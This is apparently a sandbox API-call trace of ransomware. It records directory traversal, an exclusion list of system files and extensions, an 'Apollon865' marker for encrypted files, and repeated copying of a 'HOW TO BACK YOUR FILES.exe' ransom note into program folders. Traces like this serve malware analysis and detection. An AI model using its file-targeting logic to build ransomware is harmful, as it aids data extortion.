	[0062.607] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.620] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.620] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d6461d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d6461d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.620] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.620] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.620] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.620] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d6461d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d6461d0, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.620] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.621] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.621] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.621] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.621] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="1033", cAlternateFileName="")) returned 1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="Apollon865.txt.exe") returned -1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2=".") returned 1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="..") returned 1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="windows") returned -1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="bootmgr") returned -1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="temp") returned -1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="pagefile.sys") returned -1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="boot") returned -1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="ids.txt") returned -1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="ntuser.dat") returned -1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="perflogs") returned -1
	[0062.621] lstrcmpiW (lpString1="1033", lpString2="MSBuild") returned -1
	[0062.621] lstrlenW (lpString="1033") returned 4
	[0062.621] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\*") returned 62
	[0062.621] lstrcpyW (in: lpString1=0x2d3e5ca, lpString2="1033" | out: lpString1="1033") returned="1033"
	[0062.621] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0062.621] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x84) returned 0x5b8f28
	[0062.621] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0062.621] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6461d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d6461d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.621] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.621] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d6461d0, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d6461d0, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 0
	[0062.621] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.621] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b70
	[0062.621] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033"
	[0062.621] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b8f28 | out: hHeap=0x580000) returned 1
	[0062.621] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0062.622] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033") returned 65
	[0062.622] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033"
	[0062.622] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.622] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.626] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.626] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d66c330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d66c330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.626] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.626] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.627] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.627] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d66c330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d66c330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.627] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.627] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.627] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.627] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.627] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d66c330, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d66c330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.627] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.627] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="Apollon865.txt.exe") returned 1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2=".") returned 1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="..") returned 1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="windows") returned -1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="bootmgr") returned 1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="temp") returned -1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="pagefile.sys") returned -1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="boot") returned 1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="ids.txt") returned 1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="ntuser.dat") returned -1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="perflogs") returned -1
	[0062.627] lstrcmpiW (lpString1="License Agreements", lpString2="MSBuild") returned -1
	[0062.627] lstrlenW (lpString="License Agreements") returned 18
	[0062.627] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\*") returned 67
	[0062.627] lstrcpyW (in: lpString1=0x2d3e5d4, lpString2="License Agreements" | out: lpString1="License Agreements") returned="License Agreements"
	[0062.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7b68
	[0062.627] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0xaa) returned 0x5c8f30
	[0062.627] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7b70 | out: ListHead=0x5b76b0, ListEntry=0x5b7b70) returned 0x5b7970
	[0062.627] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6626d2b0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="License Agreements", cAlternateFileName="LICENS~1")) returned 0
	[0062.627] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.628] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7b70
	[0062.628] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements"
	[0062.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5c8f30 | out: hHeap=0x580000) returned 1
	[0062.628] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7b68 | out: hHeap=0x580000) returned 1
	[0062.628] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements") returned 84
	[0062.628] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements" | out: lpString1="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements") returned="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements"
	[0062.628] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.628] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sync framework\\v1.0\\documentation\\1033\\license agreements\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.632] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.632] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d66c330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d66c330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.632] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.632] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.632] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.632] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x6626d2b0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d66c330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d66c330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.632] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.632] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.632] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.632] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.632] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d66c330, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d66c330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.632] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.632] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xeb2b9400, ftCreationTime.dwHighDateTime=0x1c9c55a, ftLastAccessTime.dwLowDateTime=0x6626d2b0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xeb2b9400, ftLastWriteTime.dwHighDateTime=0x1c9c55a, nFileSizeHigh=0x0, nFileSizeLow=0x1afd7, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="SynchronizationEula.rtf", cAlternateFileName="SYNCHR~1.RTF")) returned 1
	[0062.632] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.632] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="Apollon865.txt.exe") returned 1
	[0062.632] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2=".") returned 1
	[0062.632] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="..") returned 1
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="windows") returned -1
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="bootmgr") returned 1
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="temp") returned -1
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="pagefile.sys") returned 1
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="boot") returned 1
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="ids.txt") returned 1
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="ntuser.dat") returned 1
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="perflogs") returned 1
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2="MSBuild") returned 1
	[0062.633] lstrlenW (lpString="SynchronizationEula.rtf") returned 23
	[0062.633] lstrlenW (lpString="C:\\Program Files\\Microsoft Sync Framework\\v1.0\\Documentation\\1033\\License Agreements\\*") returned 86
	[0062.633] lstrcpyW (in: lpString1=0x2d3e5fa, lpString2="SynchronizationEula.rtf" | out: lpString1="SynchronizationEula.rtf") returned="SynchronizationEula.rtf"
	[0062.633] lstrlenW (lpString="SynchronizationEula.rtf") returned 23
	[0062.633] lstrlenW (lpString="Apollon865") returned 10
	[0062.633] lstrcmpiW (lpString1="onEula.rtf", lpString2="Apollon865") returned 1
	[0062.633] lstrlenW (lpString=".dll") returned 4
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2=".dll") returned 1
	[0062.633] lstrlenW (lpString=".lnk") returned 4
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2=".lnk") returned 1
	[0062.633] lstrlenW (lpString=".ini") returned 4
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2=".ini") returned 1
	[0062.633] lstrlenW (lpString=".sys") returned 4
	[0062.633] lstrcmpiW (lpString1="SynchronizationEula.rtf", lpString2=".sys") returned 1
	[0062.633] lstrlenW (lpString="SynchronizationEula.rtf") returned 23
	[0062.633] lstrcpynW (in: lpString1=0x2d3e550, lpString2="C:\\Program Files\\Microsoft SQL Server Compact Edition", iMaxLength=260 | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition"
	[0062.633] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59aa88 | out: hHeap=0x580000) returned 1
	[0062.633] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b7968 | out: hHeap=0x580000) returned 1
	[0062.633] lstrlenW (lpString="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned 53
	[0062.634] lstrcatW (in: lpString1="", lpString2="C:\\Program Files\\Microsoft SQL Server Compact Edition" | out: lpString1="C:\\Program Files\\Microsoft SQL Server Compact Edition") returned="C:\\Program Files\\Microsoft SQL Server Compact Edition"
	[0062.634] lstrcatW (in: lpString1="", lpString2="HOW TO BACK YOUR FILES.exe" | out: lpString1="HOW TO BACK YOUR FILES.exe") returned="HOW TO BACK YOUR FILES.exe"
	[0062.634] CopyFileW (lpExistingFileName="C:\\ProgramData\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\programdata\\how to back your files.exe"), lpNewFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\HOW TO BACK YOUR FILES.exe" (normalized: "c:\\program files\\microsoft sql server compact edition\\how to back your files.exe"), bFailIfExists=1) returned 1
	[0062.638] lstrcatW (in: lpString1="", lpString2="\\*" | out: lpString1="\\*") returned="\\*"
	[0062.638] FindFirstFileW (in: lpFileName="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*", lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d66c330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d66c330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x5ca350
	[0062.638] lstrcmpiW (lpString1=".", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.638] lstrcmpiW (lpString1=".", lpString2="Apollon865.txt.exe") returned -1
	[0062.638] lstrcmpiW (lpString1=".", lpString2=".") returned 0
	[0062.638] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x3d66c330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x3d66c330, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0062.638] lstrcmpiW (lpString1="..", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0062.638] lstrcmpiW (lpString1="..", lpString2="Apollon865.txt.exe") returned -1
	[0062.638] lstrcmpiW (lpString1="..", lpString2=".") returned 1
	[0062.638] lstrcmpiW (lpString1="..", lpString2="..") returned 0
	[0062.638] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3d66c330, ftCreationTime.dwHighDateTime=0x1d560a9, ftLastAccessTime.dwLowDateTime=0x3d66c330, ftLastAccessTime.dwHighDateTime=0x1d560a9, ftLastWriteTime.dwLowDateTime=0x2d368950, ftLastWriteTime.dwHighDateTime=0x1d560a9, nFileSizeHigh=0x0, nFileSizeLow=0x1dc00, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="HOW TO BACK YOUR FILES.exe", cAlternateFileName="HOWTOB~1.EXE")) returned 1
	[0062.638] lstrcmpiW (lpString1="HOW TO BACK YOUR FILES.exe", lpString2="HOW TO BACK YOUR FILES.exe") returned 0
	[0062.638] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 1
	[0062.638] lstrcmpiW (lpString1="v3.5", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0062.638] lstrcmpiW (lpString1="v3.5", lpString2="Apollon865.txt.exe") returned 1
	[0062.638] lstrcmpiW (lpString1="v3.5", lpString2=".") returned 1
	[0062.638] lstrcmpiW (lpString1="v3.5", lpString2="..") returned 1
	[0062.639] lstrcmpiW (lpString1="v3.5", lpString2="windows") returned -1
	[0062.639] lstrcmpiW (lpString1="v3.5", lpString2="bootmgr") returned 1
	[0062.639] lstrcmpiW (lpString1="v3.5", lpString2="temp") returned 1
	[0062.639] lstrcmpiW (lpString1="v3.5", lpString2="pagefile.sys") returned 1
	[0062.639] lstrcmpiW (lpString1="v3.5", lpString2="boot") returned 1
	[0062.639] lstrcmpiW (lpString1="v3.5", lpString2="ids.txt") returned 1
	[0062.639] lstrcmpiW (lpString1="v3.5", lpString2="ntuser.dat") returned 1
	[0062.639] lstrcmpiW (lpString1="v3.5", lpString2="perflogs") returned 1
	[0062.639] lstrcmpiW (lpString1="v3.5", lpString2="MSBuild") returned 1
	[0062.639] lstrlenW (lpString="v3.5") returned 4
	[0062.639] lstrlenW (lpString="C:\\Program Files\\Microsoft SQL Server Compact Edition\\*") returned 55
	[0062.639] lstrcpyW (in: lpString1=0x2d3e5bc, lpString2="v3.5" | out: lpString1="v3.5") returned="v3.5"
	[0062.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x13) returned 0x5b7968
	[0062.639] RtlAllocateHeap (HeapHandle=0x580000, Flags=0x0, Size=0x76) returned 0x5916c0
	[0062.639] RtlInterlockedPushEntrySList (in: ListHead=0x5b76b0, ListEntry=0x5b7970 | out: ListHead=0x5b76b0, ListEntry=0x5b7970) returned 0x5b7950
	[0062.639] FindNextFileW (in: hFindFile=0x5ca350, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x50e54b70, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6d3a4910, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6d3a4910, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="v3.5", cAlternateFileName="")) returned 0
	[0062.639] FindClose (in: hFindFile=0x5ca350 | out: hFindFile=0x5ca350) returned 1
	[0062.639] RtlInterlockedPopEntrySList (in: ListHead=0x5b76b0 | out: ListHead=0x5b76b0) returned 0x5b7970
